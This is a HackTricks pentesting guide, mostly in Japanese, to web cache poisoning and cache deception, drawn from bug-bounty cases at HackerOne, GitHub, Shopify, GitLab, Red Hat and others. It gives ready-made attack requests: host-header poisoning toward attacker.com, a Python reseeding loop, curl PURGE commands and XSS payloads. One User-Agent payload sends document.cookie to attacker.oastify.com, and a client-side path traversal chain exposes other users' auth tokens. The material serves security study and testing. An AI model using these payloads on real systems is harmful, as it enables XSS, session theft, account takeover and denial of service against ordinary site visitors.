Cache Poisoning and Cache Deception
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
違い
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
- In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
Cache Poisoning
Cache poisoning は、クライアント側キャッシュを操作して、クライアントに予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込ませることを目的としています。影響範囲は対象ページの人気度に依存し、汚染されたレスポンスはキャッシュが汚染されている間にそのページを訪れるユーザにのみ提供されます。
cache poisoning 攻撃の実行にはいくつかのステップがあります:
- Identification of Unkeyed Inputs: キャッシュされるリクエストに必須ではないが、サーバの返すレスポンスを変更しうるパラメータを特定します。これらの入力を特定することが、キャッシュを悪用するために重要です。
- Exploitation of the Unkeyed Inputs: 特定した unkeyed inputs をどのように悪用してサーバのレスポンスを攻撃者に有利な形で変更するかを検討します。
- Ensuring the Poisoned Response is Cached: 最後に、操作したレスポンスがキャッシュに格納されることを確認します。こうすることで、キャッシュが汚染されている間に当該ページへアクセスしたユーザは汚染されたレスポンスを受け取ります。
発見: HTTP headers を確認
通常、レスポンスが stored in the cache された場合、それを示す header indicating so が付与されます。どのヘッダに注意すべきかはこの投稿を確認してください: HTTP Cache headers.
発見: エラーコードのキャッシュ
レスポンスがキャッシュに格納されているか疑う場合、bad header を付けたリクエストを送ってみて、通常は status code 400 で応答されるはずです。次にそのリクエストに通常通りアクセスして、response が 400 status code で返ってくるなら脆弱(場合によっては DoS を行える可能性もあります)です。
You can find more options in:
ただし、これらの種類のステータスコードはキャッシュされないことがあるため、このテストは必ずしも信頼できるとは限りません。
発見: Identify and evaluate unkeyed inputs
Param Miner を使って、ページのレスポンスを変更している可能性のあるパラメータやヘッダを brute-force することができます。例えば、ページがヘッダ X-Forwarded-For を使ってクライアントにそこからスクリプトを読み込ませている場合があります:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Elicit a harmful response from the back-end server
With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?…)
Get the response cached
悪用可能なページ、どのパラメータ/ヘッダー、そしてそれをどのように悪用するかを特定したら、そのページをキャッシュさせる必要がある。キャッシュに入れる対象のリソースによっては時間がかかり、数秒間試行を続ける必要があるかもしれない。
レスポンスのヘッダー X-Cache は非常に有用で、リクエストがキャッシュされていない場合は miss、キャッシュされている場合は hit という値を持つことがある。
ヘッダー Cache-Control も、リソースがキャッシュされているかどうか、次にいつキャッシュされるかを知るのに役立つ: Cache-Control: public, max-age=1800
もう一つ興味深いヘッダーは Vary だ。このヘッダーは、通常はキー化されないヘッダーであっても、キャッシュキーの一部として扱われる追加のヘッダーを示すために使われることが多い。したがって、攻撃者がターゲットとする被害者の User-Agent を知っていれば、その特定の User-Agent を使うユーザーに対して cache poisoning を行うことができる。
キャッシュに関連するもう一つのヘッダーは Age だ。これはオブジェクトがプロキシキャッシュに存在していた時間を秒単位で示す。
リクエストをキャッシュさせる際は、使用するヘッダーに注意すること。なぜなら一部のヘッダーが予期せずキャッシュキーとして使われる可能性があり、被害者が同じヘッダーを使用する必要が出るからだ。必ず異なるブラウザで Cache Poisoning をテストして、動作を確認せよ。
Foundational cache poisoning case studies
HackerOne global redirect via X-Forwarded-Host
- The origin templated redirects and canonical URLs with
X-Forwarded-Host, but the cache key only used theHostheader, so a single response poisoned every visitor to/. - Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- 偽装ヘッダなしで
/を直ちに再要求する;もし redirect が持続するなら、global host-spoofing primitive を取得しており、しばしば reflected redirects/Open Graph links を stored issues にアップグレードする。
GitHub リポジトリの DoS (Content-Type + PURGE による)
- 匿名トラフィックはパスのみでキー付けされていたが、バックエンドは予期しない
Content-Typeを受け取るとエラー状態に入った。そのエラーレスポンスはリポジトリの未認証ユーザー全員に対してキャッシュ可能だった。 - GitHub は偶然にも
PURGEverb を尊重しており、攻撃者が健全なエントリをフラッシュし、キャッシュに汚染されたバリアントをオンデマンドで取り込ませることを可能にした:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- 常に認証済みと匿名のキャッシュキーを比較し、
Content-Typeのような滅多にキー化されないヘッダを fuzz し、露出しているキャッシュ保守用の HTTP verbs をプローブして re-poisoning を自動化する。
Shopify クロスホスト永続化ループ
- 多層キャッシュは新しいオブジェクトをコミットする前に同一のヒットを複数回要求することがある。Shopify は多数のローカライズされたホスト間で同じキャッシュを再利用していたため、永続化は多くのプロパティに影響を与えた。
- 短い自動化ループを使って繰り返し reseed:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
hitレスポンスの後、同じキャッシュネームスペースを共有する他のホスト/アセットをクロールして、cross-domain blast radius を実証する。
JSアセットのリダイレクト → stored XSS chain
- プライベートプログラムはしばしば
/assets/main.jsのような共有 JS を数十のサブドメインでホストしている。X-Forwarded-Hostがそれらのアセットの redirect logic に影響し、かつ unkeyed の場合、キャッシュされたレスポンスは攻撃者の JS への 301 となり、アセットがインポートされるすべての場所で stored XSS を引き起こす。
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- 同じ asset path を再利用しているホストをマッピングし、multi-subdomain compromise を証明できるようにする。
GitLab static DoS via X-HTTP-Method-Override
- GitLab は Google Cloud Storage から static bundles を配信しており、
X-HTTP-Method-Overrideを尊重していた。GET を HEAD にオーバーライドするとキャッシュ可能な200 OK(Content-Length: 0)が返り、エッジキャッシュはキー生成時に HTTP メソッドを無視していた。
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- 単一のリクエストがすべての GET に対して JS bundle を空のボディに置き換え、実質的に UI を DoSing しました。常にメソッドオーバーライド(
X-HTTP-Method-Override,X-Method-Override, etc.)を静的アセットに対してテストし、キャッシュがメソッドによって変わるかを確認してください。
HackerOne static asset loop via X-Forwarded-Scheme
- Rails’ Rack middleware は HTTPS を強制するかどうかを判断するために
X-Forwarded-Schemeを信頼していました。httpを/static/logo.pngに偽装すると、キャッシュ可能な 301 が発生し、その後すべてのユーザーがアセットの代わりにリダイレクト(またはループ)を受け取るようになりました:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- 可能な場合は scheme spoofing と host spoofing を組み合わせ、視認性の高いリソースに対して不可逆的なリダイレクトを作成する。
Cloudflare Host ヘッダーのケース不一致
- Cloudflare は
Hostヘッダーを cache keys 用に正規化したが、生の大文字小文字のまま origins に転送していた。Host: TaRgEt.CoMを送ると、canonical lowercase cache bucket を埋めつつ origin routing/templating において別の挙動が発生した。
GET / HTTP/1.1
Host: TaRgEt.CoM
- 混在した大文字小文字のホスト(および他の正規化されたヘッダー)をリプレイしてCDNテナントを列挙し、キャッシュされたレスポンスとオリジンのレスポンスをdiffして、shared-platform cache poisoningsを発見する。
Red Hat Open Graph meta poisoning
- Open Graphタグ内に
X-Forwarded-Hostを注入すると、CDNがページをキャッシュした際にreflected HTML injectionがstored XSSに変わることがありました。テスト中は本番ユーザーに害を与えないよう、無害なcache busterを使用してください:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- ソーシャルメディアのスクレイパーはキャッシュされたOpen Graphタグを取得するため、単一の汚染されたエントリが直接の訪問者をはるかに超えてペイロードを拡散します。
悪用例
最も簡単な例
X-Forwarded-Forのようなヘッダがレスポンスにサニタイズされずに反映されている。
基本的なXSSペイロードを送信してキャッシュを汚染すれば、ページにアクセスする全員がXSSの影響を受けます:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note that this will poison a request to /en?region=uk not to /en
Cache poisoning to DoS
Cache poisoning through CDNs
this writeup では、次のような単純なシナリオが説明されています:
- CDN は
/share/以下のすべてを cache します - CDN は
%2F..%2Fを decode nor normalize しないため、path traversal to access other sensitive locations that will be cached として利用できます。例:https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - web server は
%2F..%2Fを decode and normalize し、/api/auth/sessionを返します。これは contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies はページのレスポンスに反映されることがあります。例えばそれを悪用して XSS を発生させられれば、悪意ある cache レスポンスを読み込む複数のクライアントで XSS を悪用できる可能性があります。
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
区切り文字、正規化、ドットによる差異の生成
参照:
Cache Poisoning via URL discrepancies
path traversal を利用した Cache poisoning による API key の窃取
This writeup explains が、https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 のような URL で OpenAI API key を盗むことが可能だった理由を説明しています。/share/* にマッチするものは Cloudflare が URL を正規化しないままキャッシュされ、リクエストが web サーバーに到達したときに正規化されていたためです。
これは以下でも詳しく説明されています:
Cache Poisoning via URL discrepancies
複数のヘッダを利用して web cache poisoning の脆弱性を悪用する
場合によっては、キャッシュを悪用するために exploit several unkeyed inputs が必要になることがあります。例えば、X-Forwarded-Host を自分が管理するドメインに設定し、X-Forwarded-Scheme を http にすると、Open redirect を見つけられることがあります。もしserverが全てのHTTPリクエストをto HTTPSへforwardingし、リダイレクト先のドメイン名としてヘッダ X-Forwarded-Scheme を使用している場合、リダイレクト先の指し示す場所を制御できます。
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
制限された Vary ヘッダーを悪用する
もし X-Host ヘッダーが JSリソースを読み込むためのドメイン名 として使われているが、レスポンスの Vary ヘッダーが User-Agent を示していることが分かったら、被害者の User-Agent を exfiltrate して、その User-Agent を使って cache を poison する方法を見つける必要がある:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
GETリクエストを、URL と body の両方に同じ request を入れて送信します。web server が body の値を使い、cache server が URL の値をキャッシュすると、その URL にアクセスする誰もが実際には body の parameter を使うことになります。これは James Kettle が Github のウェブサイトで見つけた vuln のようなものです:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a PortSwigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it’s possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
ここで Cache Poisoning attacks by abusing HTTP Request Smuggling の実施方法を学べます。
Automated testing for Web Cache Poisoning
Web Cache Vulnerability Scanner を使って web cache poisoning の自動検査ができます。多くの手法に対応しており、高度にカスタマイズ可能です。
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
この実際のパターンは、header-based reflection primitive と CDN/WAF の挙動を組み合わせて、他のユーザーに配信されるキャッシュ済み HTML を確実に poison するものです:
- メインの HTML が未検証のリクエストヘッダ(例:
User-Agent)を実行可能コンテキストに反映していた。 - CDN はキャッシュヘッダを削除したが、内部/origin のキャッシュは存在した。CDN はまた
.jsのような静的拡張子で終わるリクエストを自動的にキャッシュし、WAF は静的アセットへの GET に対して緩いコンテンツ検査しか行わなかった。 - リクエストフローの特異性により、
.jsパスへのリクエストが後続のメイン HTML で使用されるキャッシュキー/バリアントに影響を与え、header reflection を介したクロスユーザー XSS を可能にした。
Practical recipe (observed across a popular CDN/WAF):
- クリーンな IP から(以前のレピュテーションによる低評価を避け)、ブラウザまたは Burp Proxy の Match & Replace を使って悪意のある
User-Agentを設定する。 - Burp Repeater で 2 件のリクエストを準備し、“Send group in parallel” を使用する(single-packet mode が最も効果的):
- First request: GET a
.jsresource path on the same origin while sending your maliciousUser-Agent. - Immediately after: GET the main page (
/).
- CDN/WAF のルーティング競合と自動キャッシュされた
.jsが組み合わさることで、同じキャッシュキー条件(例:Varyの次元が同じ、User-Agent等)を共有する他の訪問者に対して配信される poisoned なキャッシュ済み HTML バリアントが生成されることが多い。
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
運用上のヒント:
- 多くの CDNs はキャッシュヘッダーを隠します。poisoning は数時間単位のリフレッシュサイクルでしか確認できない場合があります。rate-limit や reputation triggers を回避するために、複数の vantage IP を使用し、アクセスをスロットリングしてください。
- CDN のクラウド内の IP を使用すると、ルーティングの一貫性が向上することがあります。
- 厳格な CSP が存在する場合でも、reflection がメインの HTML コンテキストで実行され、CSP がインライン実行を許可するか、コンテキストでバイパスされる場合はこれが有効です。
影響:
- セッションクッキーが
HttpOnlyでない場合、poisoned HTML を配信された全ユーザーからdocument.cookieを mass-exfiltrating することで、zero-click ATO が可能になります。
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Sitecore に特有のパターンにより、pre‑auth XAML handlers と AjaxScriptManager reflection を悪用して HtmlCache への未認証の書き込みが可能になります。Sitecore.Shell.Xaml.WebControl ハンドラに到達すると、xmlcontrol:GlobalHeader(Sitecore.Web.UI.WebControl から派生)が利用可能になり、以下の reflective call が許可されます:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
これは攻撃者が選択した cache key の下に任意の HTML を書き込み、cache keys が判明していれば精密なポイズニングを可能にします。
完全な詳細(cache key construction、ItemService enumeration および chained post-auth deserialization RCE)については:
脆弱な例
Apache Traffic Server (CVE-2021-27577)
ATS は URL 内のフラグメントを削除せずに転送し、cache key を host、path、および query のみを用いて生成していました(フラグメントは無視)。そのため、リクエスト /#/../?r=javascript:alert(1) はバックエンドに /#/../?r=javascript:alert(1) として送られたが、cache key にはペイロードが含まれず、host、path、query のみが使用されました。
403 と Storage Buckets
Cloudflare は以前 403 レスポンスをキャッシュしていました。間違った Authorization ヘッダで S3 や Azure Storage Blobs にアクセスを試みると、403 レスポンスが返され、それがキャッシュされることがありました。Cloudflare は現在 403 レスポンスのキャッシュを停止していますが、他のプロキシサービスではこの挙動がまだ存在する可能性があります。
キー付きパラメータの注入
キャッシュはしばしば特定の GET パラメータを cache key に含めます。例えば、Fastly の Varnish はリクエストの size パラメータをキャッシュしていました。しかし、パラメータの URL エンコード版(例: siz%65)が誤った値とともに送信されると、cache key は正しい size パラメータを使って構築されました。ところがバックエンドは URL エンコードされたパラメータの値を処理します。2つ目の size パラメータを URL エンコードすると、キャッシュ側では省略される一方でバックエンドでは利用されることになり、このパラメータに 0 を割り当てるとキャッシュ可能な 400 Bad Request エラーになりました。
User Agent ルール
一部の開発者はサーバ負荷を抑えるために、FFUF や Nuclei のような高トラフィックツールと一致する user-agent を持つリクエストをブロックします。皮肉なことに、この対策は cache poisoning や DoS といった脆弱性を生むことがあります。
不正なヘッダフィールド
https://datatracker.ietf.mrg/doc/html/rfc7230 はヘッダ名で許容される文字を規定しています。指定された tchar 範囲外の文字を含むヘッダは、本来であれば 400 Bad Request を引き起こすべきです。実際にはサーバがこの基準に常に従うわけではありません。注目すべき例として Akamai があり、不正な文字を含むヘッダを転送し、cache-control ヘッダが存在しない限り 400 エラーをキャッシュします。\ のような不正な文字を含むヘッダを送信するとキャッシュ可能な 400 Bad Request エラーになるという悪用可能なパターンが確認されました。
新しいヘッダの探索
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cache Deception の目的は、クライアントに キャッシュに保存される機密情報を含むリソースを読み込ませること です。
まず、.css、.js、.png などの 拡張子 は通常 キャッシュに保存されるよう設定 されていることに注意してください。したがって、www.example.com/profile.php/nonexistent.js にアクセスすると、.js 拡張子 を見てキャッシュはおそらくレスポンスを保存します。しかし、もし アプリケーション が www.example.com/profile.php に保存された 機密 のユーザ内容を そのまま返している なら、他のユーザのその内容を 盗む ことができます。
他に試すべきもの:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
別の非常に明確な例はこの write-up にあります: https://hackerone.com/reports/593712.
この例では、http://www.example.com/home.php/non-existent.css のような存在しないページを読み込むと、http://www.example.com/home.php(ユーザの機密情報を含む)の内容が返され、キャッシュサーバが結果を保存することが説明されています。すると、攻撃者 は自分のブラウザで http://www.example.com/home.php/non-existent.css にアクセスし、以前にアクセスしたユーザの 機密情報 を観察することができます。
注意すべきは、cache proxy がファイルの extension(例: .css)に基づいてキャッシュするよう設定されている必要があり、content-type に基づくべきではないということです。例では http://www.example.com/home.php/non-existent.css は text/html の content-type になり、text/css にはなりません。
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
High level idea:
- 機密性の高い API エンドポイントはカスタムの auth header を要求し、origin 側で正しく non-cacheable とマークされています。
- 静的に見えるサフィックス(例: .css)を付けると、CDN はそのパスを静的アセットとして扱い、しばしば機密ヘッダに基づいてバリアブルにせずにレスポンスをキャッシュします。
- SPA は CSPT を含み、ユーザ制御可能なパスセグメントを API URL に連結し、被害者の auth header(例: X-Auth-Token)を付与してフェッチします。../.. のトラバーサルを注入すると、認証された fetch はキャッシュ可能なパスバリアント(…/v1/token.css)へリダイレクトされ、CDN が被害者の token JSON を公開キーでキャッシュしてしまいます。
- 誰でもその同じ cache key を認証無しで GET して被害者のトークンを取得できます。
Example
- Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- 静的に見える末尾がCDNをキャッシュ可能にする:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- SPA内のCSPTはauth headerを付与し、traversalを許可します:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Exploit chain:
- Lure victim to a URL that injects dot-segments into the SPA path parameter, e.g.:
- The SPA issues an authenticated fetch to:
- Browser normalization resolves it to:
- The CDN treats .css as a static asset and caches the JSON with Cache-Control: public, max-age=…
- Public retrieval: anyone can then GET https://api.example.com/v1/token.css and obtain the cached token JSON.
前提条件
- SPA performs authenticated fetch/XHR to the same API origin (or cross-origin with working CORS) and attaches sensitive headers or bearer tokens.
- Edge/CDN applies extension-based caching for static-looking paths (e.g., *.css, *.js, images) and does not vary the cache key on the sensitive header.
- Origin for the base endpoint is non-cacheable (correct), but the extension-suffixed variant is allowed or not blocked by edge rules.
検証チェックリスト
- Identify sensitive dynamic endpoints and try suffixes like .css, .js, .jpg, .json. Look for Cache-Control: public/max-age and X-Cache: Hit (or equivalent, e.g., CF-Cache-Status) while content remains JSON.
- Locate client code that concatenates user-controlled input into API paths while attaching auth headers. Inject ../ sequences to redirect the authenticated request to your target endpoint.
- Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
- From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.
Automatic Tools
- toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

